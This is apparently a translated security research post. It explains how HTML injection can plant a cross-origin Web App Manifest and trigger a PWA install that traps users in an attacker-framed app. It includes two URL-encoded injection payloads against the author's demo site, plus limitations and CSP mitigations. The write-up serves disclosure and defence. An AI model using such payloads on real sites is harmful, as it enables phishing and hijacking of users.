PWA-Progressive Web Attack

今天，我將要講述的是有關 PWA(Progressive Web Apps，即網頁版App)的相關內容.

近些日子以來，隨著 CSP（內容安全策略）的運用和幫助，緩解了很大一部分潛在的跨站腳本問題，網站通過 CSP將 XSS(跨站腳本攻擊)轉換成 HTML注入，安全性能得到提升。有時甚至在面對存在 XSS漏洞的卻沒有使用CSP的現代網頁時，我們也可能感到束手無策。

但是，假如出現了一種可以僅通過 HTML注入，就可以在瀏覽器管理系統原生界面安裝APP的方式呢？

Progressive Web Apps

PWA是一種擁有響應用戶和離線功能（運用 Service Worker，Cache API等）的網頁應用程序，這也就意味著它和原生應用程序非常地接近。

但是，請想一想，我們能夠通過 Application Cache來實現它嗎？答案是肯定的，因為 PWA是可以在 Web APP Manifest的運用下實現安裝的。

Progressive Web Attack

Web App Manifest很特殊，它具備在瀏覽器管理原生界面中觸發 PWA安裝提示的功能。使用一個指向符合跨域（任何類型）的 Manifest文件鏈接標籤就可以輕易實現。

那麼讓我們來看看該如何利用這個特性？

假設受害站點具備離線功能並且檢測出在 Service Worker服務範圍的網頁中存在 XSS漏洞，但是卻在該站點中使用了相當嚴格的 CSP。

Victim site：

https://pwa.shhnjk.com/

Vulnerable page：

https://pwa.shhnjk.com/profile.php?name=Guest

And here is how to trigger installation prompt.

https://pwa.shhnjk.com/profile.php?name=%3C/title%3E%3Clink%20rel=manifest%20href=//attack.shhnjk.com/manifest.txt%3E%3C/head%3E%3Cbody%3E%3Ch1%3EHey!%20Try%20our%20New%20App!%3C!--

首先，確定進入了主頁面來保證 Servive Worker已註冊,然後接下來，使用 Andriod系統的Chrome瀏覽器進入上述的網址，你會看到下面的情況：

點擊 「Add」（不好意思，我的手機默認語言為日語，即上圖「追加」）按鈕時會開啟下載內容並在手機的桌面創建圖標，當你打開這個 App，你就會看到下面的頁面：

https://pwa.shhnjk.com/profile.php?name=%3C/title%3E%3C/head%3E%3Cbody%3E%3Ciframe%20frameBorder=%220%22%20width_=%22100%%22%20height=%22100%%22%20src=%22//attack.shhnjk.com/success.html%22%3E

該頁面是框架攻擊者設置的頁面.由於 app的起始頁面受到了攻擊者的 manifest文件的控制並且只具有攻擊者提供的導航功能（沒有地址欄，後退或者轉發的按鈕），使用者將完全陷入攻擊者的控制當中。和原始受害站點告別，用戶將從現在起陷入攻擊！

這一切都僅僅是在 HTML注入的方式下實現的。

順便說一句，我認為瀏覽器提供的安裝提示不是很安全，它在提示給用戶時只會顯示頂層域，因此任何允許將用戶內容上傳到子域的網站（例如 Shopify）就可被用於釣魚攻擊。

無論如何，以下有幾點是該項技術的限制：

1. 指向 manifest文件的 link標籤需要包含在head標籤內。
2. start_url需要與受害站點同源。
3. 即使在 app內部，將頂級文檔導航到跨原始站點也將觸發地址欄,甚至在應用程序中的顯示。

最後一點，我認為 manifest文件僅僅應該在符合同源的情況下被接受，規格也需要得到更加仔細的思考（希望能夠得到改變）

為了防止這種類型的攻擊，請確保使用安全的下載源或在不使用 PWA(和 AppCache)的情況下將 CSP中的 manifest-src設置為「none」。

希望你們能夠喜歡我的分享。

推薦閱讀：